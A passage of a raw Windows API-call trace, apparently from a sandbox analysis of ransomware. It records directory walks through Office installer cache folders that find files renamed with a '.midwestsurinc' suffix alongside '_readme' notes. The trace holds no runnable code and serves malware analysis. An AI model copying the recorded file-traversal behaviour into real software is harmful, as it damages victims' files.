Flags=0x8, Size=0x80) returned 0x8f5068 [0228.179] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4680 [0228.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.179] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f69f0 [0228.179] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0228.272] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5a069290, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.272] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.272] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59ec6370, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x59ec6370, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.272] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.272] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a043130, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5a043130, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.272] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.272] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a069290, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.273] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.273] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a069290, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0228.273] GetLastError () returned 0x12 [0228.273] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0228.273] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5a069290, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59ec6370, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x59ec6370, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a043130, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5a043130, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a069290, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.273] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a069290, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5a069290, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0228.273] GetLastError () returned 0x12 [0228.273] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f69f0) returned 1 [0228.273] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0228.274] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.274] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4680) returned 1 [0228.274] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b3c0550, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0228.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4680 [0228.274] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b3c0550, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0228.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0228.275] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0228.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0228.275] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0228.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0228.275] NtClose (Handle=0x1b0) returned 0x0 [0228.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4680) returned 1 [0228.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0228.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4680 [0228.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f69f0 [0228.275] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b3c0550, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b21d630, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b21d630, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b39a3f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b39a3f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b3c0550, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0228.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0228.319] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b3c0550, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0228.319] GetLastError () returned 0x12 [0228.319] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0228.320] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x5b3c0550, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b21d630, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b21d630, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b39a3f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b39a3f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0228.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b3c0550, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5b3c0550, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 